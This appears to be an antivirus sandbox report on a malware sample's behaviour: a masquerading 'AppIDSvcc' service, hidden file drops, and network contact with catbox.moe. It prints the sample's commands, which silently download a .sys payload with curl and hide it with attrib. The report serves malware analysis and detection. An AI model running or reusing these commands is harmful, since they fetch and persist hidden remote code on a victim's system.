Technical Information
To ensure autorun and distribution
Sets the following service settings
- [HKLM\SYSTEM\CurrentControlSet\Services\AppIDSvcc] 'ImagePath' = '%WINDIR%\Branding\Basebrd\basebrd.sys'
Creates the following services
- 'AppIDSvcc' %WINDIR%\Branding\Basebrd\basebrd.sys
Modifies file system
Creates the following files
- %WINDIR%\fonts\fa-solid-900.ttf
- nul
Substitutes the following executable files
- <Full path to file>
Moves itself
- from <Full path to file> to %TEMP%\<File name>.exe.bak
Network activity
Connects to
- 'fi###.catbox.moe':443
TCP
Other
- 'fi###.catbox.moe':443
UDP
- DNS ASK fi###.catbox.moe
Miscellaneous
Executes the following
- '<SYSTEM32>\cmd.exe' /c cls
- '<SYSTEM32>\cmd.exe' /c curl --silent https://files.catbox.moe/4jdffy.sys --output %WINDIR%\Branding\Basebrd\basebrd.sys >nul 2>&1
- '<SYSTEM32>\curl.exe' --silent https://files.catbox.moe/4jdffy.sys --output %WINDIR%\Branding\Basebrd\basebrd.sys
- '<SYSTEM32>\cmd.exe' /c attrib +h +s %WINDIR%\Branding\Basebrd\basebrd.sys >nul 2>&1
- '<SYSTEM32>\attrib.exe' +h +s %WINDIR%\Branding\Basebrd\basebrd.sys
